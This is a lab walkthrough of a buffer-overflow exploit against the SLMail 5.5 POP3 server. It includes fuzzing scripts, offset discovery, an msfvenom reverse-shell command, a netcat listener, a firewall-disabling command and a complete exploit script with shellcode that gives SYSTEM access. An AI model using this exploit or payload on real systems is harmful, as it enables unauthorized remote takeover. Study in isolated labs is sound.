Windows 7 x86 Ultimate
Immunity Debugger (In case you need
mona.py for some help)
SLMail 5.5 make sure you run the binary through
virustotal.com and ensure that there are no malware in the distributed binary [as of 16-09-2019]. While installing make sure you accept all the defaults, as there is no dependency on the configurations as such, we just need the
POP3 server up and running with all the ports opened up. After you've installed the binary, make sure you turn off the windows firewall using the command mentioned below (run as administrator), this ensures that ports are reachable from the Kali VM and there's no filtering.
C:\> NetSh Advfirewall set allprofiles state off
After setting all these up, run a port scan from the Kali to ensure port 110 is reachable and the machine is reachable as well.
$ nmap -p 110 192.168.219.128Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-16 19:13 ISTNmap scan report for 192.168.219.128Host is up (0.00061s latency).PORT STATE SERVICE110/tcp closed pop3Nmap done: 1 IP address (1 host up) scanned in 0.07 seconds
We'll attach the
x64dbg to the
SLmail process and use the following python script to send out payload to the application from Kali machine
Attached process (Paused state)
Before sending anything to the server make sure, after attaching the process, you've change the process state to running (
We'll be using the following code snippet to overflow the
EIP with A's. I started from 1000 and kept increasing till 3000, at which point I got the
from pwn import *p = remote("192.168.219.128", 110)p.recv()p.sendline("USER root")p.recv()p.sendline("PASS " + "A"*3000)print p.recv()
Now we'll try and find the exact offset value for our
from pwn import *p = remote("192.168.219.128", 110)p.recv()p.sendline("USER root")p.recv()p.sendline("PASS " + cyclic(3000))print p.recv()
And to get the offset value we'll run the following, and it turns out our EIP is after 2606 characters.
$ pwn cyclic -l 0x61626163 # This was the EIP value.2606
Now we'll see if we can get a place to put our shell-code in our payload, for this we'll try to find in the dump if we get A's or C's in any of the registers and we'll use the following script to check that.
from pwn import *p = remote("192.168.219.128", 110)p.recv()p.sendline("USER root")p.recv()p.sendline("PASS " + "A"*2606 + "\xCC"*4 + "C"*1000)print p.recv()
To our good luck, we can see that
ESP points to the starting of the C's in our payload, we'll this is just awesome. Now we have to find the instruction
JMP ESP and replace
0xCCCCCCCC with it's address and we'll be able to jump to our shell-code area. We'll take help from
x64db and try to find
JMP ESP in all the modules. In the
CPU section we'll right click,
Search For > All Modules > Command, and type in
JMP ESP and wait for our results in the
references tab. We found 1576 results, you can use any of these, make sure the one you are using does not have any bad character, in this case, it would be any string terminating character (
Newline (0xA), Return Carriage (0xD), or Null Byte (0x00)) and you can also use
mona.py to ensure that there is no
msfvenom to generate our shell-code, encode it with
Shikata ga-nai encoder and avoid all the string terminating bad characters.
$ msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=192.168.219.151 LPORT=5555 -e x86/shikata_ga_nai -b "\x00\x0A\x0D" -f python
reverse shell tcp, we need to keep a listening on the port for incoming connections which can be done using
$ nc -lvnp 5555
Our final payload script looks something like this with the shell-code,
JMP ESP instruction, and other fillers.
from pwn import *buf = b""buf += b"\xbf\xa3\xad\x4f\x82\xdb\xdd\xd9\x74\x24\xf4\x5a\x2b"buf += b"\xc9\xb1\x52\x31\x7a\x12\x03\x7a\x12\x83\x61\xa9\xad"buf += b"\x77\x99\x5a\xb3\x78\x61\x9b\xd4\xf1\x84\xaa\xd4\x66"buf += b"\xcd\x9d\xe4\xed\x83\x11\x8e\xa0\x37\xa1\xe2\x6c\x38"buf += b"\x02\x48\x4b\x77\x93\xe1\xaf\x16\x17\xf8\xe3\xf8\x26"buf += b"\x33\xf6\xf9\x6f\x2e\xfb\xab\x38\x24\xae\x5b\x4c\x70"buf += b"\x73\xd0\x1e\x94\xf3\x05\xd6\x97\xd2\x98\x6c\xce\xf4"buf += b"\x1b\xa0\x7a\xbd\x03\xa5\x47\x77\xb8\x1d\x33\x86\x68"buf += b"\x6c\xbc\x25\x55\x40\x4f\x37\x92\x67\xb0\x42\xea\x9b"buf += b"\x4d\x55\x29\xe1\x89\xd0\xa9\x41\x59\x42\x15\x73\x8e"buf += b"\x15\xde\x7f\x7b\x51\xb8\x63\x7a\xb6\xb3\x98\xf7\x39"buf += b"\x13\x29\x43\x1e\xb7\x71\x17\x3f\xee\xdf\xf6\x40\xf0"buf += b"\xbf\xa7\xe4\x7b\x2d\xb3\x94\x26\x3a\x70\x95\xd8\xba"buf += b"\x1e\xae\xab\x88\x81\x04\x23\xa1\x4a\x83\xb4\xc6\x60"buf += b"\x73\x2a\x39\x8b\x84\x63\xfe\xdf\xd4\x1b\xd7\x5f\xbf"buf += b"\xdb\xd8\xb5\x10\x8b\x76\x66\xd1\x7b\x37\xd6\xb9\x91"buf += b"\xb8\x09\xd9\x9a\x12\x22\x70\x61\xf5\x8d\x2d\xb2\x92"buf += b"\x66\x2c\x44\x88\xc5\xb9\xa2\xd8\x39\xec\x7d\x75\xa3"buf += b"\xb5\xf5\xe4\x2c\x60\x70\x26\xa6\x87\x85\xe9\x4f\xed"buf += b"\x95\x9e\xbf\xb8\xc7\x09\xbf\x16\x6f\xd5\x52\xfd\x6f"buf += b"\x90\x4e\xaa\x38\xf5\xa1\xa3\xac\xeb\x98\x1d\xd2\xf1"buf += b"\x7d\x65\x56\x2e\xbe\x68\x57\xa3\xfa\x4e\x47\x7d\x02"buf += b"\xcb\x33\xd1\x55\x85\xed\x97\x0f\x67\x47\x4e\xe3\x21"buf += b"\x0f\x17\xcf\xf1\x49\x18\x1a\x84\xb5\xa9\xf3\xd1\xca"buf += b"\x06\x94\xd5\xb3\x7a\x04\x19\x6e\x3f\x34\x50\x32\x16"buf += b"\xdd\x3d\xa7\x2a\x80\xbd\x12\x68\xbd\x3d\x96\x11\x3a"buf += b"\x5d\xd3\x14\x06\xd9\x08\x65\x17\x8c\x2e\xda\x18\x85"p = remote("192.168.219.128", 110)p.recv()p.sendline("USER root")p.recv()p.sendline("PASS " + "A"*2606 + p32(0x716EA2BB) + "\x90"*10 + buf)print p.recv()
You might notice that we've added a
NOP sled before the shell-code, this is put in place to ensure that if there's some misalignment with the
EIP and the shell-code, it does not affect the shell-code execution.
After executing the final payload script we have the shell as evident in the screenshot below.
And as the application was running with elevated privileges, we have
NT Authority/SYSTEM access.